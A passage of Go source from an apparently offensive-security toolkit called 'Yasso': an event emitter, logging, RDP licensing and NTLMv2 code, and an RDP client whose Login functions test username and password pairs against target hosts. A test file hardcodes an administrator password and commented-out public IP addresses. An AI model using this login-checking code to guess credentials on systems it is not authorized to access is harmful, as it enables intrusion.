50 | }
51 | return string(utf16.Decode(n))
52 | }
53 |
--------------------------------------------------------------------------------
/pkg/grdp/emission/emitter.go:
--------------------------------------------------------------------------------
1 | // Package emission provides an event emitter.
2 | // copy form https://raw.githubusercontent.com/chuckpreslar/emission/master/emitter.go
3 | // fix issue with nest once
4 |
5 | package emission
6 |
7 | import (
8 | "errors"
9 | "fmt"
10 | "os"
11 | "reflect"
12 | "sync"
13 | )
14 |
15 | // Default number of maximum listeners for an event.
16 | const DefaultMaxListeners = 10
17 |
18 | // Error presented when an invalid argument is provided as a listener function
19 | var ErrNoneFunction = errors.New("Kind of Value for listener is not Func.")
20 |
21 | // RecoveryListener ...
22 | type RecoveryListener func(interface{}, interface{}, error)
23 |
24 | // Emitter ...
25 | type Emitter struct {
26 | // Mutex to prevent race conditions within the Emitter.
27 | *sync.Mutex
28 | // Map of event to a slice of listener function's reflect Values.
29 | events map[interface{}][]reflect.Value
30 | // Optional RecoveryListener to call when a panic occurs.
31 | recoverer RecoveryListener
32 | // Maximum listeners for debugging potential memory leaks.
33 | maxListeners int
34 |
35 | // Map of event to a slice of listener function's reflect Values.
36 | onces map[interface{}][]reflect.Value
37 | }
38 |
39 | // AddListener appends the listener argument to the event arguments slice
40 | // in the Emitter's events map. If the number of listeners for an event
41 | // is greater than the Emitter's maximum listeners then a warning is printed.
42 | // If the relect Value of the listener does not have a Kind of Func then
43 | // AddListener panics. If a RecoveryListener has been set then it is called
44 | // recovering from the panic.
45 | func (emitter *Emitter) AddListener(event, listener interface{}) *Emitter {
46 | emitter.Lock()
47 | defer emitter.Unlock()
48 |
49 | fn := reflect.ValueOf(listener)
50 |
51 | if reflect.Func != fn.Kind() {
52 | if nil == emitter.recoverer {
53 | panic(ErrNoneFunction)
54 | } else {
55 | emitter.recoverer(event, listener, ErrNoneFunction)
56 | }
57 | }
58 |
59 | if emitter.maxListeners != -1 && emitter.maxListeners < len(emitter.events[event])+1 {
60 | fmt.Fprintf(os.Stdout, "Warning: event `%v` has exceeded the maximum "+
61 | "number of listeners of %d.\n", event, emitter.maxListeners)
62 | }
63 |
64 | emitter.events[event] = append(emitter.events[event], fn)
65 |
66 | return emitter
67 | }
68 |
69 | // On is an alias for AddListener.
70 | func (emitter *Emitter) On(event, listener interface{}) *Emitter {
71 | return emitter.AddListener(event, listener)
72 | }
73 |
74 | // RemoveListener removes the listener argument from the event arguments slice
75 | // in the Emitter's events map. If the reflect Value of the listener does not
76 | // have a Kind of Func then RemoveListener panics. If a RecoveryListener has
77 | // been set then it is called after recovering from the panic.
78 | func (emitter *Emitter) RemoveListener(event, listener interface{}) *Emitter {
79 | emitter.Lock()
80 | defer emitter.Unlock()
81 |
82 | fn := reflect.ValueOf(listener)
83 |
84 | if reflect.Func != fn.Kind() {
85 | if nil == emitter.recoverer {
86 | panic(ErrNoneFunction)
87 | } else {
88 | emitter.recoverer(event, listener, ErrNoneFunction)
89 | }
90 | }
91 |
92 | if events, ok := emitter.events[event]; ok {
93 | newEvents := []reflect.Value{}
94 |
95 | for _, listener := range events {
96 | if fn.Pointer() != listener.Pointer() {
97 | newEvents = append(newEvents, listener)
98 | }
99 | }
100 |
101 | emitter.events[event] = newEvents
102 | }
103 |
104 | if events, ok := emitter.onces[event]; ok {
105 | newEvents := []reflect.Value{}
106 |
107 | for _, listener := range events {
108 | if fn.Pointer() != listener.Pointer() {
109 | newEvents = append(newEvents, listener)
110 | }
111 | }
112 |
113 | emitter.onces[event] = newEvents
114 | }
115 |
116 | return emitter
117 | }
118 |
119 | // Off is an alias for RemoveListener.
120 | func (emitter *Emitter) Off(event, listener interface{}) *Emitter {
121 | return emitter.RemoveListener(event, listener)
122 | }
123 |
124 | // Once generates a new function which invokes the supplied listener
125 | // only once before removing itself from the event's listener slice
126 | // in the Emitter's events map. If the reflect Value of the listener
127 | // does not have a Kind of Func then Once panics. If a RecoveryListener
128 | // has been set then it is called after recovering from the panic.
129 | func (emitter *Emitter) Once(event, listener interface{}) *Emitter {
130 | emitter.Lock()
131 | defer emitter.Unlock()
132 |
133 | fn := reflect.ValueOf(listener)
134 |
135 | if reflect.Func != fn.Kind() {
136 | if nil == emitter.recoverer {
137 | panic(ErrNoneFunction)
138 | } else {
139 | emitter.recoverer(event, listener, ErrNoneFunction)
140 | }
141 | }
142 |
143 | if emitter.maxListeners != -1 && emitter.maxListeners < len(emitter.onces[event])+1 {
144 | fmt.Fprintf(os.Stdout, "Warning: event `%v` has exceeded the maximum "+
145 | "number of listeners of %d.\n", event, emitter.maxListeners)
146 | }
147 |
148 | emitter.onces[event] = append(emitter.onces[event], fn)
149 | return emitter
150 | }
151 |
152 | // Emit attempts to use the reflect package to Call each listener stored
153 | // in the Emitter's events map with the supplied arguments. Each listener
154 | // is called within its own go routine. The reflect package will panic if
155 | // the agruments supplied do not align the parameters of a listener function.
156 | // If a RecoveryListener has been set then it is called after recovering from
157 | // the panic.
158 | func (emitter *Emitter) Emit(event interface{}, arguments ...interface{}) *Emitter {
159 | var (
160 | listeners []reflect.Value
161 | ok bool
162 | )
163 |
164 | // Lock the mutex when reading from the Emitter's
165 | // events map.
166 | emitter.Lock()
167 |
168 | if listeners, ok = emitter.events[event]; !ok {
169 | // If the Emitter does not include the event in its
170 | // event map, it has no listeners to Call yet.
171 | emitter.Unlock()
172 | goto ONCES
173 | }
174 |
175 | // Unlock the mutex immediately following the read
176 | // instead of deferring so that listeners registered
177 | // with Once can aquire the mutex for removal.
178 | emitter.Unlock()
179 | emitter.callListeners(listeners, event, arguments...)
180 |
181 | ONCES:
182 | // execute onces
183 | emitter.Lock()
184 | if listeners, ok = emitter.onces[event]; !ok {
185 | emitter.Unlock()
186 | return emitter
187 | }
188 | emitter.Unlock()
189 | emitter.callListeners(listeners, event, arguments...)
190 | // clear executed listeners
191 | emitter.onces[event] = emitter.onces[event][len(listeners):]
192 | return emitter
193 | }
194 |
195 | func (emitter *Emitter) callListeners(listeners []reflect.Value, event interface{}, arguments ...interface{}) {
196 | var wg sync.WaitGroup
197 |
198 | wg.Add(len(listeners))
199 |
200 | for _, fn := range listeners {
201 | go func(fn reflect.Value) {
202 | defer wg.Done()
203 |
204 | // Recover from potential panics, supplying them to a
205 | // RecoveryListener if one has been set, else allowing
206 | // the panic to occur.
207 | if nil != emitter.recoverer {
208 | defer func() {
209 | if r := recover(); nil != r {
210 | err := fmt.Errorf("%v", r)
211 | emitter.recoverer(event, fn.Interface(), err)
212 | }
213 | }()
214 | }
215 |
216 | var values []reflect.Value
217 |
218 | for i := 0; i < len(arguments); i++ {
219 | if arguments[i] == nil {
220 | values = append(values, reflect.New(fn.Type().In(i)).Elem())
221 | } else {
222 | values = append(values, reflect.ValueOf(arguments[i]))
223 | }
224 | }
225 |
226 | fn.Call(values)
227 | }(fn)
228 | }
229 |
230 | wg.Wait()
231 | }
232 |
233 | // RecoverWith sets the listener to call when a panic occurs, recovering from
234 | // panics and attempting to keep the application from crashing.
235 | func (emitter *Emitter) RecoverWith(listener RecoveryListener) *Emitter {
236 | emitter.recoverer = listener
237 | return emitter
238 | }
239 |
240 | // SetMaxListeners sets the maximum number of listeners per
241 | // event for the Emitter. If -1 is passed as the maximum,
242 | // all events may have unlimited listeners. By default, each
243 | // event can have a maximum number of 10 listeners which is
244 | // useful for finding memory leaks.
245 | func (emitter *Emitter) SetMaxListeners(max int) *Emitter {
246 | emitter.Lock()
247 | defer emitter.Unlock()
248 |
249 | emitter.maxListeners = max
250 | return emitter
251 | }
252 |
253 | // GetListenerCount gets count of listeners for a given event.
254 | func (emitter *Emitter) GetListenerCount(event interface{}) (count int) {
255 | emitter.Lock()
256 | if listeners, ok := emitter.events[event]; ok {
257 | count = len(listeners)
258 | }
259 | emitter.Unlock()
260 | return
261 | }
262 |
263 | // NewEmitter returns a new Emitter object, defaulting the
264 | // number of maximum listeners per event to the DefaultMaxListeners
265 | // constant and initializing its events map.
266 | func NewEmitter() (emitter *Emitter) {
267 | emitter = new(Emitter)
268 | emitter.Mutex = new(sync.Mutex)
269 | emitter.events = make(map[interface{}][]reflect.Value)
270 | emitter.maxListeners = DefaultMaxListeners
271 | emitter.onces = make(map[interface{}][]reflect.Value)
272 | return
273 | }
274 |
--------------------------------------------------------------------------------
/pkg/grdp/glog/log.go:
--------------------------------------------------------------------------------
1 | package glog
2 |
3 | import (
4 | "fmt"
5 | "log"
6 | "sync"
7 | )
8 |
9 | func init() {
10 |
11 | }
12 |
13 | var (
14 | logger *log.Logger
15 | level LEVEL
16 | mu sync.Mutex
17 | )
18 |
19 | type LEVEL int
20 |
21 | const (
22 | DEBUG LEVEL = iota
23 | INFO
24 | WARN
25 | ERROR
26 | NONE
27 | )
28 |
29 | func SetLogger(l *log.Logger) {
30 | l.SetFlags(log.Ldate | log.Ltime | log.Lshortfile)
31 | logger = l
32 | }
33 |
34 | func SetLevel(l LEVEL) {
35 | level = l
36 | }
37 |
38 | func checkLogger() {
39 | if logger == nil && level != NONE {
40 | panic("logger not inited")
41 | }
42 | }
43 |
44 | func Debug(v ...interface{}) {
45 | checkLogger()
46 | if level <= DEBUG {
47 | mu.Lock()
48 | defer mu.Unlock()
49 | logger.SetPrefix("[DEBUG]")
50 | logger.Output(2, fmt.Sprintln(v...))
51 | }
52 | }
53 | func Debugf(f string, v ...interface{}) {
54 | checkLogger()
55 | if level <= DEBUG {
56 | mu.Lock()
57 | defer mu.Unlock()
58 | logger.SetPrefix("[DEBUG]")
59 | logger.Output(2, fmt.Sprintln(fmt.Sprintf(f, v...)))
60 | }
61 | }
62 | func Info(v ...interface{}) {
63 | checkLogger()
64 | if level <= INFO {
65 | mu.Lock()
66 | defer mu.Unlock()
67 | logger.SetPrefix("[INFO]")
68 | logger.Output(2, fmt.Sprintln(v...))
69 | }
70 | }
71 | func Infof(f string, v ...interface{}) {
72 | checkLogger()
73 | if level <= INFO {
74 | mu.Lock()
75 | defer mu.Unlock()
76 | logger.SetPrefix("[INFO]")
77 | logger.Output(2, fmt.Sprintln(fmt.Sprintf(f, v...)))
78 | }
79 | }
80 | func Warn(v ...interface{}) {
81 | checkLogger()
82 | if level <= WARN {
83 | mu.Lock()
84 | defer mu.Unlock()
85 | logger.SetPrefix("[WARN]")
86 | logger.Output(2, fmt.Sprintln(v...))
87 | }
88 | }
89 |
90 | func Error(v ...interface{}) {
91 | checkLogger()
92 | if level <= ERROR {
93 | mu.Lock()
94 | defer mu.Unlock()
95 | logger.SetPrefix("[ERROR]")
96 | logger.Output(2, fmt.Sprintln(v...))
97 | }
98 | }
99 | func Errorf(f string, v ...interface{}) {
100 | checkLogger()
101 | if level <= ERROR {
102 | mu.Lock()
103 | defer mu.Unlock()
104 | logger.SetPrefix("[ERROR]")
105 | logger.Output(2, fmt.Sprintln(fmt.Sprintf(f, v...)))
106 | }
107 | }
108 |
--------------------------------------------------------------------------------
/pkg/grdp/grdp.go:
--------------------------------------------------------------------------------
1 | package grdp
2 |
3 | import (
4 | "errors"
5 | "fmt"
6 | "log"
7 | "net"
8 | "os"
9 | "sync"
10 | "time"
11 |
12 | "Yasso/pkg/grdp/core"
13 | "Yasso/pkg/grdp/glog"
14 | "Yasso/pkg/grdp/protocol/nla"
15 | "Yasso/pkg/grdp/protocol/pdu"
16 | "Yasso/pkg/grdp/protocol/rfb"
17 | "Yasso/pkg/grdp/protocol/sec"
18 | "Yasso/pkg/grdp/protocol/t125"
19 | "Yasso/pkg/grdp/protocol/tpkt"
20 | "Yasso/pkg/grdp/protocol/x224"
21 | )
22 |
23 | const (
24 | PROTOCOL_RDP = "PROTOCOL_RDP"
25 | PROTOCOL_SSL = "PROTOCOL_SSL"
26 | )
27 |
28 | type Client struct {
29 | Host string // ip:port
30 | tpkt *tpkt.TPKT
31 | x224 *x224.X224
32 | mcs *t125.MCSClient
33 | sec *sec.Client
34 | pdu *pdu.Client
35 | vnc *rfb.RFB
36 | }
37 |
38 | func NewClient(host string, logLevel glog.LEVEL) *Client {
39 | glog.SetLevel(logLevel)
40 | logger := log.New(os.Stdout, "", 0)
41 | glog.SetLogger(logger)
42 | return &Client{
43 | Host: host,
44 | }
45 | }
46 |
47 | func (g *Client) LoginForSSL(domain, user, pwd string) error {
48 | conn, err := net.DialTimeout("tcp", g.Host, 3*time.Second)
49 | if err != nil {
50 | return fmt.Errorf("[dial err] %v", err)
51 | }
52 | defer conn.Close()
53 | glog.Info(conn.LocalAddr().String())
54 |
55 | g.tpkt = tpkt.New(core.NewSocketLayer(conn), nla.NewNTLMv2(domain, user, pwd))
56 | g.x224 = x224.New(g.tpkt)
57 | g.mcs = t125.NewMCSClient(g.x224)
58 | g.sec = sec.NewClient(g.mcs)
59 | g.pdu = pdu.NewClient(g.sec)
60 |
61 | g.sec.SetUser(user)
62 | g.sec.SetPwd(pwd)
63 | g.sec.SetDomain(domain)
64 |
65 | g.tpkt.SetFastPathListener(g.sec)
66 | g.sec.SetFastPathListener(g.pdu)
67 | g.pdu.SetFastPathSender(g.tpkt)
68 |
69 | err = g.x224.Connect()
70 | if err != nil {
71 | return fmt.Errorf("[x224 connect err] %v", err)
72 | }
73 | glog.Info("wait connect ok")
74 | wg := &sync.WaitGroup{}
75 | breakFlag := false
76 | wg.Add(1)
77 |
78 | g.pdu.On("error", func(e error) {
79 | err = e
80 | glog.Error("error", e)
81 | g.pdu.Emit("done")
82 | })
83 | g.pdu.On("close", func() {
84 | err = errors.New("close")
85 | glog.Info("on close")
86 | g.pdu.Emit("done")
87 | })
88 | g.pdu.On("success", func() {
89 | err = nil
90 | glog.Info("on success")
91 | g.pdu.Emit("done")
92 | })
93 | g.pdu.On("ready", func() {
94 | glog.Info("on ready")
95 | g.pdu.Emit("done")
96 | })
97 | g.pdu.On("update", func(rectangles []pdu.BitmapData) {
98 | glog.Info("on update:", rectangles)
99 | })
100 | g.pdu.On("done", func() {
101 | if breakFlag == false {
102 | breakFlag = true
103 | wg.Done()
104 | }
105 | })
106 | wg.Wait()
107 | return err
108 | }
109 |
110 | func (g *Client) LoginForRDP(domain, user, pwd string) error {
111 | conn, err := net.DialTimeout("tcp", g.Host, 3*time.Second)
112 | if err != nil {
113 | return fmt.Errorf("[dial err] %v", err)
114 | }
115 | defer conn.Close()
116 | glog.Info(conn.LocalAddr().String())
117 |
118 | g.tpkt = tpkt.New(core.NewSocketLayer(conn), nla.NewNTLMv2(domain, user, pwd))
119 | g.x224 = x224.New(g.tpkt)
120 | g.mcs = t125.NewMCSClient(g.x224)
121 | g.sec = sec.NewClient(g.mcs)
122 | g.pdu = pdu.NewClient(g.sec)
123 |
124 | g.sec.SetUser(user)
125 | g.sec.SetPwd(pwd)
126 | g.sec.SetDomain(domain)
127 |
128 | g.tpkt.SetFastPathListener(g.sec)
129 | g.sec.SetFastPathListener(g.pdu)
130 | g.pdu.SetFastPathSender(g.tpkt)
131 |
132 | g.x224.SetRequestedProtocol(x224.PROTOCOL_RDP)
133 |
134 | err = g.x224.Connect()
135 | if err != nil {
136 | return fmt.Errorf("[x224 connect err] %v", err)
137 | }
138 | glog.Info("wait connect ok")
139 | wg := &sync.WaitGroup{}
140 | breakFlag := false
141 | updateCount := 0
142 | wg.Add(1)
143 |
144 | g.pdu.On("error", func(e error) {
145 | err = e
146 | glog.Error("error", e)
147 | g.pdu.Emit("done")
148 | })
149 | g.pdu.On("close", func() {
150 | err = errors.New("close")
151 | glog.Info("on close")
152 | g.pdu.Emit("done")
153 | })
154 | g.pdu.On("success", func() {
155 | err = nil
156 | glog.Info("on success")
157 | g.pdu.Emit("done")
158 | })
159 | g.pdu.On("ready", func() {
160 | glog.Info("on ready")
161 | })
162 | g.pdu.On("update", func(rectangles []pdu.BitmapData) {
163 | glog.Info("on update:", rectangles)
164 | updateCount += 1
165 | //fmt.Println(updateCount," ",rectangles[0].BitmapLength)
166 | })
167 | g.pdu.On("done", func() {
168 | if breakFlag == false {
169 | breakFlag = true
170 | wg.Done()
171 | }
172 | })
173 |
174 | //wait 2 Second
175 | time.Sleep(time.Second * 3)
176 | if breakFlag == false {
177 | breakFlag = true
178 | wg.Done()
179 | }
180 | wg.Wait()
181 |
182 | if updateCount > 50 {
183 | return nil
184 | }
185 | err = errors.New("login failed")
186 | return err
187 | }
188 |
189 | func Login(target, domain, username, password string) error {
190 | var err error
191 | g := NewClient(target, glog.NONE)
192 | //SSL协议登录测试
193 | err = g.LoginForSSL(domain, username, password)
194 | if err == nil {
195 | return nil
196 | }
197 | if err.Error() != PROTOCOL_RDP {
198 | return err
199 | }
200 | //RDP协议登录测试
201 | err = g.LoginForRDP(domain, username, password)
202 | if err == nil {
203 | return nil
204 | } else {
205 | return err
206 | }
207 | }
208 |
209 | func LoginForSSL(target, domain, username, password string) error {
210 | var err error
211 | g := NewClient(target, glog.NONE)
212 | //SSL协议登录测试
213 | err = g.LoginForSSL(domain, username, password)
214 | if err == nil {
215 | return nil
216 | }
217 | return err
218 | }
219 |
220 | func LoginForRDP(target, domain, username, password string) error {
221 | var err error
222 | g := NewClient(target, glog.NONE)
223 | //SSL协议登录测试
224 | err = g.LoginForRDP(domain, username, password)
225 | if err == nil {
226 | return nil
227 | }
228 | return err
229 | }
230 |
231 | func VerifyProtocol(target string) string {
232 | var err error
233 | err = LoginForSSL(target, "", "administrator", "test")
234 | if err == nil {
235 | return PROTOCOL_SSL
236 | }
237 | if err.Error() != PROTOCOL_RDP {
238 | return PROTOCOL_SSL
239 | }
240 | return PROTOCOL_RDP
241 | }
242 |
--------------------------------------------------------------------------------
/pkg/grdp/grdp_test.go:
--------------------------------------------------------------------------------
1 | package grdp
2 |
3 | import (
4 | "Yasso/pkg/grdp/glog"
5 | "fmt"
6 | "testing"
7 | )
8 |
9 | func testrdp(target string) {
10 | domain := ""
11 | username := "administrator"
12 | password := "930517"
13 | //target = "180.102.17.30:3389"
14 | var err error
15 | g := NewClient(target, glog.NONE)
16 | //SSL协议登录测试
17 | err = g.LoginForSSL(domain, username, password)
18 | if err == nil {
19 | fmt.Println("Login Success")
20 | return
21 | }
22 | if err.Error() != "PROTOCOL_RDP" {
23 | fmt.Println("Login Error:", err)
24 | return
25 | }
26 | //RDP协议登录测试
27 | err = g.LoginForRDP(domain, username, password)
28 | if err == nil {
29 | fmt.Println("Login Success")
30 | return
31 | } else {
32 | fmt.Println("Login Error:", err)
33 | return
34 | }
35 | }
36 |
37 | func TestName(t *testing.T) {
38 | targetArr := []string{
39 | //"50.57.49.172:3389",
40 | //"20.49.22.250:3389",
41 | "192.168.248.199:3389",
42 | }
43 | for _, target := range targetArr {
44 | fmt.Println(target)
45 | testrdp(target)
46 | }
47 | }
48 |
--------------------------------------------------------------------------------
/pkg/grdp/protocol/lic/lic.go:
--------------------------------------------------------------------------------
1 | package lic
2 |
3 | import (
4 | "io"
5 |
6 | "Yasso/pkg/grdp/core"
7 | )
8 |
9 | const (
10 | LICENSE_REQUEST = 0x01
11 | PLATFORM_CHALLENGE = 0x02
12 | NEW_LICENSE = 0x03
13 | UPGRADE_LICENSE = 0x04
14 | LICENSE_INFO = 0x12
15 | NEW_LICENSE_REQUEST = 0x13
16 | PLATFORM_CHALLENGE_RESPONSE = 0x15
17 | ERROR_ALERT = 0xFF
18 | )
19 |
20 | // error code
21 | const (
22 | ERR_INVALID_SERVER_CERTIFICATE = 0x00000001
23 | ERR_NO_LICENSE = 0x00000002
24 | ERR_INVALID_SCOPE = 0x00000004
25 | ERR_NO_LICENSE_SERVER = 0x00000006
26 | STATUS_VALID_CLIENT = 0x00000007
27 | ERR_INVALID_CLIENT = 0x00000008
28 | ERR_INVALID_PRODUCTID = 0x0000000B
29 | ERR_INVALID_MESSAGE_LEN = 0x0000000C
30 | ERR_INVALID_MAC = 0x00000003
31 | )
32 |
33 | // state transition
34 | const (
35 | ST_TOTAL_ABORT = 0x00000001
36 | ST_NO_TRANSITION = 0x00000002
37 | ST_RESET_PHASE_TO_START = 0x00000003
38 | ST_RESEND_LAST_MESSAGE = 0x00000004
39 | )
40 |
41 | /*
42 | """
43 | @summary: Binary blob data type
44 | @see: http://msdn.microsoft.com/en-us/library/cc240481.aspx
45 | """
46 | */
47 | type BinaryBlobType uint16
48 |
49 | const (
50 | BB_ANY_BLOB = 0x0000
51 | BB_DATA_BLOB = 0x0001
52 | BB_RANDOM_BLOB = 0x0002
53 | BB_CERTIFICATE_BLOB = 0x0003
54 | BB_ERROR_BLOB = 0x0004
55 | BB_ENCRYPTED_DATA_BLOB = 0x0009
56 | BB_KEY_EXCHG_ALG_BLOB = 0x000D
57 | BB_SCOPE_BLOB = 0x000E
58 | BB_CLIENT_USER_NAME_BLOB = 0x000F
59 | BB_CLIENT_MACHINE_NAME_BLOB = 0x0010
60 | )
61 |
62 | type ErrorMessage struct {
63 | DwErrorCode uint32
64 | DwStateTransaction uint32
65 | Blob []byte
66 | }
67 |
68 | func readErrorMessage(r io.Reader) *ErrorMessage {
69 | m := &ErrorMessage{}
70 | m.DwErrorCode, _ = core.ReadUInt32LE(r)
71 | m.DwStateTransaction, _ = core.ReadUInt32LE(r)
72 | return m
73 | }
74 |
75 | type LicensePacket struct {
76 | BMsgtype uint8
77 | Flag uint8
78 | WMsgSize uint16
79 | LicensingMessage interface{}
80 | }
81 |
82 | func ReadLicensePacket(r io.Reader) *LicensePacket {
83 | l := &LicensePacket{}
84 | l.BMsgtype, _ = core.ReadUInt8(r)
85 | l.Flag, _ = core.ReadUInt8(r)
86 | l.WMsgSize, _ = core.ReadUint16LE(r)
87 |
88 | switch l.BMsgtype {
89 | case ERROR_ALERT:
90 | l.LicensingMessage = readErrorMessage(r)
91 | default:
92 | l.LicensingMessage, _ = core.ReadBytes(int(l.WMsgSize-4), r)
93 | }
94 |
95 | return l
96 | }
97 |
98 | /*
99 | """
100 | @summary: Blob use by license manager to exchange security data
101 | @see: http://msdn.microsoft.com/en-us/library/cc240481.aspx
102 | """
103 | */
104 | type LicenseBinaryBlob struct {
105 | WBlobType uint16 `struc:"little"`
106 | WBlobLen uint16 `struc:"little"`
107 | BlobData []byte `struc:"sizefrom=WBlobLen"`
108 | }
109 |
110 | func NewLicenseBinaryBlob(WBlobType uint16) *LicenseBinaryBlob {
111 | return &LicenseBinaryBlob{}
112 | }
113 |
114 | /*
115 | """
116 | @summary: License server product information
117 | @see: http://msdn.microsoft.com/en-us/library/cc241915.aspx
118 | """
119 | */
120 | type ProductInformation struct {
121 | DwVersion uint32 `struc:"little"`
122 | CbCompanyName uint32 `struc:"little"`
123 | //may contain "Microsoft Corporation" from server microsoft
124 | PbCompanyName []byte `struc:"sizefrom=CbCompanyName"`
125 | CbProductId uint32 `struc:"little"`
126 | //may contain "A02" from microsoft license server
127 | PbProductId []byte `struc:"sizefrom=CbProductId"`
128 | }
129 |
130 | /*
131 | @summary: Send by server to signal license request
132 | server -> client
133 | @see: http://msdn.microsoft.com/en-us/library/cc241914.aspx
134 | */
135 | type ServerLicenseRequest struct {
136 | ServerRandom []byte `struc:"[32]byte"`
137 | ProductInfo ProductInformation `struc:"little"`
138 | KeyExchangeList LicenseBinaryBlob `struc:"little"`
139 | ServerCertificate LicenseBinaryBlob `struc:"little"`
140 | //ScopeList ScopeList
141 | }
142 |
143 | /*
144 | @summary: Send by client to ask new license for client.
145 | RDPY doesn'support license reuse, need it in futur version
146 | @see: http://msdn.microsoft.com/en-us/library/cc241918.aspx
147 | #RSA and must be only RSA
148 | #pure microsoft client ;-)
149 | #http://msdn.microsoft.com/en-us/library/1040af38-c733-4fb3-acd1-8db8cc979eda#id10
150 | */
151 |
152 | type ClientNewLicenseRequest struct {
153 | PreferredKeyExchangeAlg uint32 `struc:"little"`
154 | PlatformId uint32 `struc:"little"`
155 | ClientRandom []byte `struc:"little"`
156 | EncryptedPreMasterSecret LicenseBinaryBlob `struc:"little"`
157 | ClientUserName LicenseBinaryBlob `struc:"little"`
158 | ClientMachineName LicenseBinaryBlob `struc:"little"`
159 | }
160 |
161 | /*
162 | @summary: challenge send from server to client
163 | @see: http://msdn.microsoft.com/en-us/library/cc241921.aspx
164 | */
165 | type ServerPlatformChallenge struct {
166 | ConnectFlags uint32
167 | EncryptedPlatformChallenge LicenseBinaryBlob
168 | MACData [16]byte
169 | }
170 |
171 | /*
172 | """
173 | @summary: client challenge response
174 | @see: http://msdn.microsoft.com/en-us/library/cc241922.aspx
175 | """
176 | */
177 | type ClientPLatformChallengeResponse struct {
178 | EncryptedPlatformChallengeResponse LicenseBinaryBlob
179 | EncryptedHWID LicenseBinaryBlob
180 | MACData []byte //[16]byte
181 | }
182 |
--------------------------------------------------------------------------------
/pkg/grdp/protocol/nla/cssp.go:
--------------------------------------------------------------------------------
1 | package nla
2 |
3 | import (
4 | "encoding/asn1"
5 |
6 | "Yasso/pkg/grdp/glog"
7 | )
8 |
9 | type NegoToken struct {
10 | Data []byte `asn1:"explicit,tag:0"`
11 | }
12 |
13 | type TSRequest struct {
14 | Version int `asn1:"explicit,tag:0"`
15 | NegoTokens []NegoToken `asn1:"optional,explicit,tag:1"`
16 | AuthInfo []byte `asn1:"optional,explicit,tag:2"`
17 | PubKeyAuth []byte `asn1:"optional,explicit,tag:3"`
18 | //ErrorCode int `asn1:"optional,explicit,tag:4"`
19 | }
20 |
21 | type TSCredentials struct {
22 | CredType int `asn1:"explicit,tag:0"`
23 | Credentials []byte `asn1:"explicit,tag:1"`
24 | }
25 |
26 | type TSPasswordCreds struct {
27 | DomainName []byte `asn1:"explicit,tag:0"`
28 | UserName []byte `asn1:"explicit,tag:1"`
29 | Password []byte `asn1:"explicit,tag:2"`
30 | }
31 |
32 | type TSCspDataDetail struct {
33 | KeySpec int `asn1:"explicit,tag:0"`
34 | CardName string `asn1:"explicit,tag:1"`
35 | ReaderName string `asn1:"explicit,tag:2"`
36 | ContainerName string `asn1:"explicit,tag:3"`
37 | CspName string `asn1:"explicit,tag:4"`
38 | }
39 |
40 | type TSSmartCardCreds struct {
41 | Pin string `asn1:"explicit,tag:0"`
42 | CspData []TSCspDataDetail `asn1:"explicit,tag:1"`
43 | UserHint string `asn1:"explicit,tag:2"`
44 | DomainHint string `asn1:"explicit,tag:3"`
45 | }
46 |
47 | func EncodeDERTRequest(msgs []Message, authInfo []byte, pubKeyAuth []byte) []byte {
48 | req := TSRequest{
49 | Version: 2,
50 | }
51 |
52 | if len(msgs) > 0 {
53 | req.NegoTokens = make([]NegoToken, 0, len(msgs))
54 | }
55 |
56 | for _, msg := range msgs {
57 | token := NegoToken{msg.Serialize()}
58 | req.NegoTokens = append(req.NegoTokens, token)
59 | }
60 |
61 | if len(authInfo) > 0 {
62 | req.AuthInfo = authInfo
63 | }
64 |
65 | if len(pubKeyAuth) > 0 {
66 | req.PubKeyAuth = pubKeyAuth
67 | }
68 |
69 | result, err := asn1.Marshal(req)
70 | if err != nil {
71 | glog.Error(err)
72 | }
73 | return result
74 | }
75 |
76 | func DecodeDERTRequest(s []byte) (*TSRequest, error) {
77 | treq := &TSRequest{}
78 | _, err := asn1.Unmarshal(s, treq)
79 | return treq, err
80 | }
81 | func EncodeDERTCredentials(domain, username, password []byte) []byte {
82 | tpas := TSPasswordCreds{domain, username, password}
83 | result, err := asn1.Marshal(tpas)
84 | if err != nil {
85 | glog.Error(err)
86 | }
87 | tcre := TSCredentials{1, result}
88 | result, err = asn1.Marshal(tcre)
89 | if err != nil {
90 | glog.Error(err)
91 | }
92 | return result
93 | }
94 |
95 | func DecodeDERTCredentials(s []byte) (*TSCredentials, error) {
96 | tcre := &TSCredentials{}
97 | _, err := asn1.Unmarshal(s, tcre)
98 | return tcre, err
99 | }
100 |
--------------------------------------------------------------------------------
/pkg/grdp/protocol/nla/encode.go:
--------------------------------------------------------------------------------
1 | package nla
2 |
3 | import (
4 | "crypto/hmac"
5 | "crypto/md5"
6 | "crypto/rc4"
7 | "strings"
8 |
9 | "Yasso/pkg/grdp/core"
10 | "golang.org/x/crypto/md4"
11 | )
12 |
13 | func MD4(data []byte) []byte {
14 | h := md4.New()
15 | h.Write(data)
16 | return h.Sum(nil)
17 | }
18 |
19 | func MD5(data []byte) []byte {
20 | h := md5.New()
21 | h.Write(data)
22 | return h.Sum(nil)
23 | }
24 |
25 | func HMAC_MD5(key, data []byte) []byte {
26 | h := hmac.New(md5.New, key)
27 | h.Write(data)
28 | return h.Sum(nil)
29 | }
30 |
31 | // Version 2 of NTLM hash function
32 | func NTOWFv2(password, user, domain string) []byte {
33 | return HMAC_MD5(MD4(core.UnicodeEncode(password)), core.UnicodeEncode(strings.ToUpper(user)+domain))
34 | }
35 |
36 | // Same as NTOWFv2
37 | func LMOWFv2(password, user, domain string) []byte {
38 | return NTOWFv2(password, user, domain)
39 | }
40 |
41 | func RC4K(key, src []byte) []byte {
42 | result := make([]byte, len(src))
43 | rc4obj, _ := rc4.NewCipher(key)
44 | rc4obj.XORKeyStream(result, src)
45 | return result
46 | }
47 |
--------------------------------------------------------------------------------
/pkg/grdp/protocol/nla/encode_test.go:
--------------------------------------------------------------------------------
1 | package nla_test
2 |
3 | import (
4 | "encoding/hex"
5 | "testing"
6 |
7 | "Yasso/pkg/grdp/protocol/nla"
8 | )
9 |
10 | func TestNTOWFv2(t *testing.T) {
11 | res := hex.EncodeToString(nla.NTOWFv2("", "", ""))
12 | expected := "f4c1a15dd59d4da9bd595599220d971a"
13 | if res != expected {
14 | t.Error(res, "not equal to", expected)
15 | }
16 |
17 | res = hex.EncodeToString(nla.NTOWFv2("user", "pwd", "dom"))
18 | expected = "652feb8208b3a8a6264c9c5d5b820979"
19 | if res != expected {
20 | t.Error(res, "not equal to", expected)
21 | }
22 | }
23 |
24 | func TestRC4K(t *testing.T) {
25 | key, _ := hex.DecodeString("55638e834ce774c100637f197bc0683f")
